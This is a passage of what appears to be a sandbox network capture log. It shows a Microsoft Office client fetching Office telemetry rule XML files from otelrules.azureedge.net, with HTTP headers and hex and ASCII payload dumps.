88	192.168.2.7	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:53 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:53 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: ef8e0549-001e-0066-1d03-48561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234853Z-r1cf579d778w59f9hC1EWRze6w00000003w000000000b2gz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:53 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:53 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:53 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a85144f8-201e-0033-7f03-48b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234853Z-r1cf579d778z4wflhC1EWRa3h000000003qg000000008k1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:53 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:53 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:53 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3fcff9c6-e01e-0052-0a03-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234853Z-r1cf579d778v97q7hC1EWRf95c00000003bg000000005xsr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:53 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:53 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:53 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 8a7a9c83-801e-0078-4106-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234853Z-r1cf579d778kr8xrhC1EWRfkun0000000450000000007g7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:53 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:53 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:53 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 49b561ed-d01e-0065-2706-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234853Z-r1cf579d77867vg8hC1EWR8knc00000003m0000000005hpy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:53 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:55 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:55 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 44286e75-701e-0032-5705-48a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234855Z-r1cf579d778xq4f9hC1EWRx41g00000003n0000000004cn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:55 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:55 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:55 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 32ce5259-b01e-003e-4804-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234855Z-r1cf579d778z4wflhC1EWRa3h000000003q0000000009m6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:55 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:55 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:55 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 1ccbfaf0-201e-0003-3306-48f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234855Z-r1cf579d778lntp7hC1EWR9gg400000003a0000000000cz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:55 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:55 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:55 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 8eb9891a-501e-005b-7103-48d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234855Z-r1cf579d778qgtz2hC1EWRmgks00000003g0000000009eye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:55 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:55 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:55 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 83446ce3-101e-0046-0a10-4891b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234855Z-r1cf579d778kr8xrhC1EWRfkun00000004a000000000100w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:56 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:57 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:57 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 1ec3a3fb-701e-0001-7303-48b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234857Z-r1cf579d7789trgthC1EWRkkfc00000004c0000000007seh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:57 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:57 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:57 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fc2f82a1-a01e-006f-4f06-4813cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234857Z-r1cf579d778v97q7hC1EWRf95c0000000390000000008xs5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
